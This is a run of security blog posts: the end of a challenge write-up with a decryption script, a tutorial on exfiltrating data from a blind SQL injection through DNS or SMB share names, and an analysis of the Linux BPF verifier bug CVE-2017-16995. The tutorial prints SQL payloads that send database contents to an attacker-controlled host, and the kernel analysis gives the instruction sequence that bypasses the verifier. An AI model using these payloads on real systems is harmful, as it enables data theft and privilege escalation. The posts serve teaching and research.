<span class="k">if</span> <span class="n">encrypted_size</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">encrypted_size</span> <span class="o">+=</span> <span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="p">(</span><span class="n">encrypted_size</span> <span class="o">%</span> <span class="mi">16</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"encrypted_size: %d"</span> <span class="o">%</span> <span class="n">encrypted_size</span><span class="p">)</span>
<span class="n">bytes_written_each_time</span> <span class="o">=</span> <span class="n">encrypted_size</span> <span class="o">/</span> <span class="mi">739</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">repetitions_until_dropping_write_size</span> <span class="o">=</span> <span class="n">encrypted_size</span> <span class="o">-</span> <span class="p">(</span><span class="mi">739</span> <span class="o">*</span> <span class="p">(</span><span class="n">encrypted_size</span> <span class="o">/</span> <span class="mi">739</span><span class="p">))</span>
<span class="n">infile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">target_file</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span>
<span class="n">magic</span> <span class="o">=</span> <span class="n">infile</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="k">if</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="n">magic</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x531B008A</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"magic mismatch"</span><span class="p">)</span>
<span class="k">raise</span> <span class="nb">IOError</span>
<span class="k">print</span><span class="p">(</span><span class="s">"magic match! :)"</span><span class="p">)</span>
<span class="n">infile</span><span class="p">.</span><span class="n">seek</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="c1"># Offset 32 bytes ahead to skip MD5
</span>
<span class="n">encrypted_buf</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
<span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">encrypted_buf</span><span class="p">)</span> <span class="o">!=</span> <span class="p">(</span><span class="n">encrypted_size</span> <span class="o">-</span> <span class="mi">4</span><span class="p">):</span>
<span class="k">if</span> <span class="n">counter</span> <span class="o">==</span> <span class="n">repetitions_until_dropping_write_size</span><span class="p">:</span>
<span class="n">bytes_written_each_time</span> <span class="o">-=</span> <span class="mi">1</span>
<span class="n">infile</span><span class="p">.</span><span class="n">seek</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="c1"># Ignore 4 bytes from the 'junk array'
</span> <span class="n">encrypted_buf</span> <span class="o">+=</span> <span class="n">infile</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="n">bytes_written_each_time</span><span class="p">)</span>
<span class="n">counter</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">encrypted_buf</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">encrypted_buf</span><span class="p">)</span>
<span class="n">encrypted_buf</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="mi">4</span> <span class="c1"># Pad to match blocksize
</span>
<span class="n">hasher</span> <span class="o">=</span> <span class="n">CryptCreateHash</span><span class="p">(</span><span class="n">CALG_MD5</span><span class="p">)</span>
<span class="n">CryptHashData</span><span class="p">(</span><span class="n">hasher</span><span class="p">,</span> <span class="n">known_mac</span> <span class="o">+</span> <span class="n">known_bios_sn</span> <span class="o">+</span> <span class="n">known_serial</span><span class="p">)</span>
<span class="n">aes_key</span> <span class="o">=</span> <span class="n">CryptDeriveKey</span><span class="p">(</span><span class="n">hasher</span><span class="p">,</span> <span class="n">CALG_AES_256</span><span class="p">)</span>
<span class="n">decrypted_data</span> <span class="o">=</span> <span class="n">CryptDecrypt</span><span class="p">(</span><span class="n">aes_key</span><span class="p">,</span> <span class="n">encrypted_buf</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"len of decrypted data: %d"</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">decrypted_data</span><span class="p">))</span>
<span class="n">output</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'solution.txt'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span>
<span class="n">output</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">decrypted_data</span><span class="p">)</span>
<span class="n">output</span><span class="p">.</span><span class="n">close</span><span class="p">()</span></code></pre></figure>
<p>Let’s execute the script and look at the contents..</p>
<figure class="highlight"><pre><code class="language-shell" data-lang="shell">C:<span class="se">\U</span>sers<span class="se">\U</span>ser<span class="se">\D</span>ocuments<span class="se">\m</span>os>python decrypt.py
encrypted_size: 35936
magic match! :<span class="o">)</span>
len of decrypted data: 35872
C:<span class="se">\U</span>sers<span class="se">\U</span>ser<span class="se">\D</span>ocuments<span class="se">\m</span>os>type solution.txt
OUR BIG SECRET IS AT 9f96b2ea3bf3432682eb09b0bd213752.xyz/9b5b2161575e4deab1def462d38acba5
PADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDING...</code></pre></figure>
<p>And voilà:</p>
<p><img src="/assets/mossad_challenge/3_done.png" alt="" /></p>yanirThe third challenge begins.Blind SQL injection data exfiltration with SMB share names2019-03-28T22:00:00+04:002019-03-28T22:00:00+04:00https://yanir.dev//blind%20sqli%20injection%20data%20exfil<p>Imagine the following situation, you’ve found an open blind SQL injection vulnerability in some website. Now what you would probably want to do is extract some data out of that database, maybe fetch the version, the database name or whatever.</p>
<p>Given that’s a completely blind injection, you could use boolean-based queries to brute-force the information you’d want to get (sqlmap can do that). Or you’d possibly be able to dump that info into a file you can read remotely.</p>
<p>When those options are unavailable, the solution is to resort to OOB data exfiltration. The common way to do this is to use the <code class="language-plaintext highlighter-rouge">LOAD_FILE</code> (in MySQL) or <code class="language-plaintext highlighter-rouge">xp_dirtree</code> (in MSSQL) functions to make the database send a DNS query to your server, and you’d prepend the data in the subdomain:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="n">CONCAT</span><span class="p">(</span><span class="s1">'</span><span class="se">\\\\</span><span class="s1">'</span><span class="p">,</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="k">VERSION</span><span class="p">(),</span> <span class="s1">'.yourdomain.com'</span><span class="p">))</span></code></pre></figure>
<p>The database server will try to resolve the domain and then access the share, and you could sniff the traffic on your server and see the database version in the subdomain query.</p>
<h3 id="what-if-you-cant-use-dns-for-somereason">What if you can’t use DNS for some reason?</h3>
<p>It could be several reasons — you are inside a private network and there’s either no DNS at all, or you simply don’t have access to a server linked to a domain. Or you just don’t want to use a domain name.</p>
<p>An option that is often overlooked is using what comes after the SMB host: the share name. Let’s say the SMB host is 1.1.1.1, we could just append the data we want as the share name:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="n">CONCAT</span><span class="p">(</span><span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'</span><span class="se">\\\\</span><span class="s1">1.1.1.1</span><span class="se">\\</span><span class="s1">'</span><span class="p">,</span> <span class="k">VERSION</span><span class="p">()))</span></code></pre></figure>
<p>Your SMB server can log the requested share name and there, you have the data.</p>
<p><img src="/assets/images/sqli_smb.png" alt="" /></p>
<figcaption class="caption">Demonstration</figcaption>
<p>The maximum path length in Windows is defined as <code class="language-plaintext highlighter-rouge">MAX_PATH</code> and is 260 bytes long. You have to consider you have 3 backslashes and a NULL terminator, this leaves you with 256 characters. Subtract your server IP length and there’s the max bytes you can extract each time.</p>
<p>I made a simple SMB server script based on impacket that logs all requests. You can find it <a href="https://github.com/yanir3/smblogger">here</a>.</p>yanirImagine the following situation, you’ve found an open blind SQL injection vulnerability in some website. Now what you would probably want to do is extract some data out of that database, maybe fetch the version, the database name or whatever.bpf check_alu_op vulnerability analysis (CVE-2017–16995)2019-01-26T22:00:00+04:002019-01-26T22:00:00+04:00https://yanir.dev//bpf%20check_alu_op%20vulnerability%20analysis<p>Around December 2017, CVE-2017–16995 was published:</p>
<blockquote>
<p>The check_alu_op function in kernel/bpf/verifier.c in the Linux kernel through 4.14.8 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension.</p>
</blockquote>
<blockquote>
<p>— <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16995">CVE Database</a></p>
</blockquote>
<p>I have come across this kernel exploit when rooting a machine on <a href="https://hackthebox.eu">HackTheBox</a>, and used it to gain root privileges. This was what led me to try to understand it.</p>
<p>First, we’ll want to understand, <em>what is bpf exactly</em>?</p>
<p><strong>Berkeley Packet Filter</strong> (<strong>BPF</strong>) mostly allows you to run filters against packets at the kernel space. Filters are a set of instructions running inside the BPF virtual machine. Since Linux version 3.18, eBPF (extended BPF) was introduced. eBPF then allowed to attach those filters to sockets, tracepoints (for debugging purposes), and more. For example, <strong>tcpdump</strong> uses BPF bytecode to filter packets. You can view the BPF instructions if you add the <code class="language-plaintext highlighter-rouge">-d</code> argument:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">user@ubuntu:~<span class="nv">$ </span><span class="nb">sudo </span>tcpdump <span class="s2">"port 80"</span> <span class="nt">-d</span>
<span class="o">(</span>000<span class="o">)</span> ldh <span class="o">[</span>12]
<span class="o">(</span>001<span class="o">)</span> jeq <span class="c">#0x86dd jt 2 jf 10</span>
<span class="o">(</span>...<span class="o">)</span></code></pre></figure>
<p><img src="https://i.imgur.com/XDNluv8.png" alt="" /></p>
<h3 id="the-bpfverifier">The BPF Verifier</h3>
<p>The bpf syscalls are essentially allowing to run code at the kernel space from the user space. That’s a security risk, hence we have the BPF verifier. Its purpose is to make sure the instructions are safe to run. Here are some of the checks it performs:</p>
<ol>
<li>Verifies the program isn’t too big</li>
<li>Forbids loops (<a href="https://en.wikipedia.org/wiki/Directed_acyclic_graph">DAG</a> check)</li>
<li>Forbids unreachable instructions from existing in the code</li>
<li>Forbids reading from uninitialized registers</li>
<li>Forbids exiting the filter without setting a return value first</li>
<li>Verifies the program isn’t accessing invalid memory</li>
</ol>
<h3 id="the-vulnerability">The Vulnerability</h3>
<p>The vulnerable function <code class="language-plaintext highlighter-rouge">check_alu_op</code> is responsible for checking the validity of arithmetic instructions. When the static code analyzer wants to MOV an immediate value into a register, the following code will execute in the verifier:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cm">/* case: R = imm
* remember the value we stored into this reg
*/</span>
<span class="n">regs</span><span class="p">[</span><span class="n">insn</span><span class="o">-></span><span class="n">dst_reg</span><span class="p">].</span><span class="n">type</span> <span class="o">=</span> <span class="n">SCALAR_VALUE</span><span class="p">;</span>
<span class="n">__mark_reg_known</span><span class="p">(</span><span class="n">regs</span> <span class="o">+</span> <span class="n">insn</span><span class="o">-></span><span class="n">dst_reg</span><span class="p">,</span> <span class="n">insn</span><span class="o">-></span><span class="n">imm</span><span class="p">);</span></code></pre></figure>
<p>Let’s look at the <code class="language-plaintext highlighter-rouge">bpf_insn</code> struct, and the signature of <code class="language-plaintext highlighter-rouge">__mark_reg_known</code>:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">struct</span> <span class="n">bpf_insn</span> <span class="p">{</span>
<span class="n">__u8</span> <span class="n">code</span><span class="p">;</span> <span class="cm">/* opcode */</span>
<span class="n">__u8</span> <span class="n">dst_reg</span><span class="o">:</span><span class="mi">4</span><span class="p">;</span> <span class="cm">/* dest register */</span>
<span class="n">__u8</span> <span class="n">src_reg</span><span class="o">:</span><span class="mi">4</span><span class="p">;</span> <span class="cm">/* source register */</span>
<span class="n">__s16</span> <span class="n">off</span><span class="p">;</span> <span class="cm">/* signed offset */</span>
<span class="n">__s32</span> <span class="n">imm</span><span class="p">;</span> <span class="cm">/* signed immediate constant */</span>
<span class="p">};</span>
<span class="cm">/* Mark the unknown part of a register (variable offset or scalar value) as
* known to have the value @imm.
*/</span>
<span class="k">static</span> <span class="kt">void</span> <span class="n">__mark_reg_known</span><span class="p">(</span><span class="k">struct</span> <span class="n">bpf_reg_state</span> <span class="o">*</span><span class="n">reg</span><span class="p">,</span> <span class="n">u64</span> <span class="n">imm</span><span class="p">)</span></code></pre></figure>
<p>By looking at the struct, we can see that the immediate value is a signed 32-bit integer, and the <code class="language-plaintext highlighter-rouge">imm</code> parameter in <code class="language-plaintext highlighter-rouge">__mark_reg_known</code> is an unsigned 64-bit integer. Therefore, an <strong>implicit type conversion</strong> occurs.</p>
<p>But what happens when we convert a signed integer into an unsigned one? According to this <a href="https://github.com/LambdaSchool/CS-Wiki/wiki/Casting-Signed-to-Unsigned-in-C">document</a>, the conversion happens this way:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">while</span> <span class="p">(</span><span class="n">number</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">number</span> <span class="o">+=</span> <span class="n">MAX_UNSIGNED_INT</span> <span class="o">+</span> <span class="mi">1</span>
<span class="p">}</span></code></pre></figure>
<p>Let’s say we have this BPF instruction:</p>
<figure class="highlight"><pre><code class="language-asm" data-lang="asm">mov32 r2, 0xFFFFFFFF</code></pre></figure>
<p>The immediate is a signed 32-bit int, so it’s actually -1 in decimal. We perform the above calculation with a <code class="language-plaintext highlighter-rouge">MAX_UNSIGNED_INT</code> of 64-bit: <code class="language-plaintext highlighter-rouge">0xFFFFFFFFFFFFFFFF</code></p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="o">-</span><span class="mi">1</span> <span class="o">+=</span> <span class="mh">0xFFFFFFFFFFFFFFFF</span> <span class="o">+</span> <span class="mi">1</span> <span class="c1">// result = 0xFFFFFFFFFFFFFFFF</span></code></pre></figure>
<p>This is essentially sign extension, the most significant bit was extended throughout the 64-bit “register”. What should’ve happened is zero-padding of the upper 32-bits, since this is a MOV32 operation.</p>
<p>This resulted in <code class="language-plaintext highlighter-rouge">0xFFFFFFFFFFFFFFFF</code> being saved to the hypothetical register state in the static code analyzer. But in reality, when the instructions will run, the register would be zero-padded: <code class="language-plaintext highlighter-rouge">0x00000000FFFFFFFF</code> . Now we’re going to try and understand why the verifier is different than the actual code execution.</p>
<p>Let’s take a look at the bpf core code, specifically <code class="language-plaintext highlighter-rouge">__bpf_prog_run</code></p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">__bpf_prog_run</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">ctx</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">bpf_insn</span> <span class="o">*</span><span class="n">insn</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">...</span>
<span class="k">static</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">jumptable</span><span class="p">[</span><span class="mi">256</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
<span class="p">[</span><span class="mi">0</span> <span class="p">...</span> <span class="mi">255</span><span class="p">]</span> <span class="o">=</span> <span class="o">&&</span><span class="n">default_label</span><span class="p">,</span>
<span class="cm">/* Now overwrite non-defaults ... */</span>
<span class="cm">/* 32 bit ALU operations */</span>
<span class="p">[</span><span class="n">BPF_ALU</span> <span class="o">|</span> <span class="n">BPF_ADD</span> <span class="o">|</span> <span class="n">BPF_X</span><span class="p">]</span> <span class="o">=</span> <span class="o">&&</span><span class="n">ALU_ADD_X</span><span class="p">,</span>
<span class="p">[</span><span class="n">BPF_ALU</span> <span class="o">|</span> <span class="n">BPF_ADD</span> <span class="o">|</span> <span class="n">BPF_K</span><span class="p">]</span> <span class="o">=</span> <span class="o">&&</span><span class="n">ALU_ADD_K</span><span class="p">,</span>
<span class="p">...</span>
<span class="p">[</span><span class="n">BPF_ALU</span> <span class="o">|</span> <span class="n">BPF_MOV</span> <span class="o">|</span> <span class="n">BPF_X</span><span class="p">]</span> <span class="o">=</span> <span class="o">&&</span><span class="n">ALU_MOV_X</span><span class="p">,</span>
<span class="p">[</span><span class="n">BPF_ALU</span> <span class="o">|</span> <span class="n">BPF_MOV</span> <span class="o">|</span> <span class="n">BPF_K</span><span class="p">]</span> <span class="o">=</span> <span class="o">&&</span><span class="n">ALU_MOV_K</span><span class="p">,</span>
<span class="p">...</span></code></pre></figure>
<p>What we’re interested in is the <code class="language-plaintext highlighter-rouge">BPF_ALU | BPF_MOV | BPF_K</code> . For reference: <code class="language-plaintext highlighter-rouge">BPF_K</code> means the source operand is an immediate value. <code class="language-plaintext highlighter-rouge">BPF_X</code> means the source operand is a register. Let’s look at the operation:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="nl">ALU_MOV_K:</span>
<span class="n">DST</span> <span class="o">=</span> <span class="p">(</span><span class="o">**</span><span class="n">u32</span><span class="o">**</span><span class="p">)</span> <span class="n">IMM</span><span class="p">;</span>
<span class="n">CONT</span><span class="p">;</span></code></pre></figure>
<p>What differs here from the simulated MOV operation at the verifier, is that the immediate value is cast to an unsigned integer. This prevents the incorrect sign extension from occurring, and the result would be <code class="language-plaintext highlighter-rouge">0xFFFFFFFF</code> . Casting to unsigned before moving is also <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f">the fix</a> that was deployed for this issue.</p>
<h3 id="exploitation">Exploitation</h3>
<p>We learned that the static code analyzer thinks we have a different immediate value in the register than what would’ve been during “real” code execution. The documentation in <code class="language-plaintext highlighter-rouge">linux/kernel/bpf/verifier.c</code> states:</p>
<pre name="18eb" id="18eb" class="graf graf--pre graf-after--p">bpf_check() is a static code analyzer that walks eBPF program instruction by instruction and updates register/stack state.
All paths of conditional branches are analyzed until 'bpf_exit' insn.</pre>
<p>The common way to exploit this vulnerability is to trick the analyzer into thinking the code always exits with a conditional:</p>
<pre name="a0d5" id="a0d5" class="graf graf--pre graf-after--p">mov32 r2, 0xFFFFFFFF // r2 gets sign-extended in the verifier
jne r2, 0xFFFFFFFF, +2 // if r2!=0xFFFFFFFF, jmp 2 instruction ahead
mov64 r0, 0x0 // set return code to 0
bpf_exit // stop execution - verifier stops here</pre>
<p>Let’s take a look at a part of the code that handles conditional jumps:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">if</span> <span class="p">(</span><span class="n">BPF_SRC</span><span class="p">(</span><span class="n">insn</span><span class="o">-></span><span class="n">code</span><span class="p">)</span> <span class="o">==</span> <span class="n">BPF_K</span> <span class="o">&&</span>
<span class="p">(</span><span class="n">opcode</span> <span class="o">==</span> <span class="n">BPF_JEQ</span> <span class="o">||</span> <span class="n">opcode</span> <span class="o">==</span> <span class="n">BPF_JNE</span><span class="p">)</span> <span class="o">&&</span>
<span class="n">dst_reg</span><span class="o">-></span><span class="n">type</span> <span class="o">==</span> <span class="n">SCALAR_VALUE</span> <span class="o">&&</span>
<span class="n">tnum_equals_const</span><span class="p">(</span><span class="n">dst_reg</span><span class="o">-></span><span class="n">var_off</span><span class="p">,</span> <span class="n">insn</span><span class="o">-></span><span class="n">imm</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">opcode</span> <span class="o">==</span> <span class="n">BPF_JEQ</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/</span>
<span class="o">*</span><span class="n">insn_idx</span> <span class="o">+=</span> <span class="n">insn</span><span class="o">-></span><span class="n">off</span><span class="p">;</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="cm">/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p><code class="language-plaintext highlighter-rouge">tnum_equals_const</code> is responsible for comparing the register state to the immediate value. We already know that <code class="language-plaintext highlighter-rouge">insn->imm</code> is a 32-bit signed integer, but inside the <code class="language-plaintext highlighter-rouge">tnum</code> struct, <code class="language-plaintext highlighter-rouge">tnum.value</code> is an unsigned 64-bit integer.</p>
<p>So what happens when we compare a signed and an unsigned integer? Simply put, the compiler converts the signed integer to an unsigned, repeating the same sign extension we’ve looked at previously. Can you guess the output of this code?</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="kt">int</span> <span class="n">a</span> <span class="o">=</span> <span class="mh">0xFFFFFFFF</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">b</span> <span class="o">=</span> <span class="mh">0xFFFFFFFFFFFFFFFF</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">==</span> <span class="n">b</span><span class="p">)</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"true"</span><span class="p">);</span>
<span class="k">else</span>
<span class="nf">printf</span><span class="p">(</span><span class="s">"false"</span><span class="p">);</span></code></pre></figure>
<p>The output would be true. After understanding this, it’s clear that the aforementioned code would continue in the fall-through branch, going to the <code class="language-plaintext highlighter-rouge">bpf_exit</code> call, and leaving any code coming after the exit call <strong>unverified</strong>.</p>
<p>Leveraging this issue, an attacker could insert malicious code after the exit call, and have arbitrary R/W access to the kernel memory.</p>
<p>Extra information: <a href="https://github.com/iovisor/bpf-docs/blob/master/eBPF.md">eBPF Instructions Doc</a>, <a href="https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c">PoC of Privilege Escalation</a>, <a href="https://github.com/SecWiki/linux-kernel-exploits/blob/master/2017/CVE-2017-16995/upstream44.c">another PoC</a></p>yanirAround December 2017, CVE-2017–16995 was published: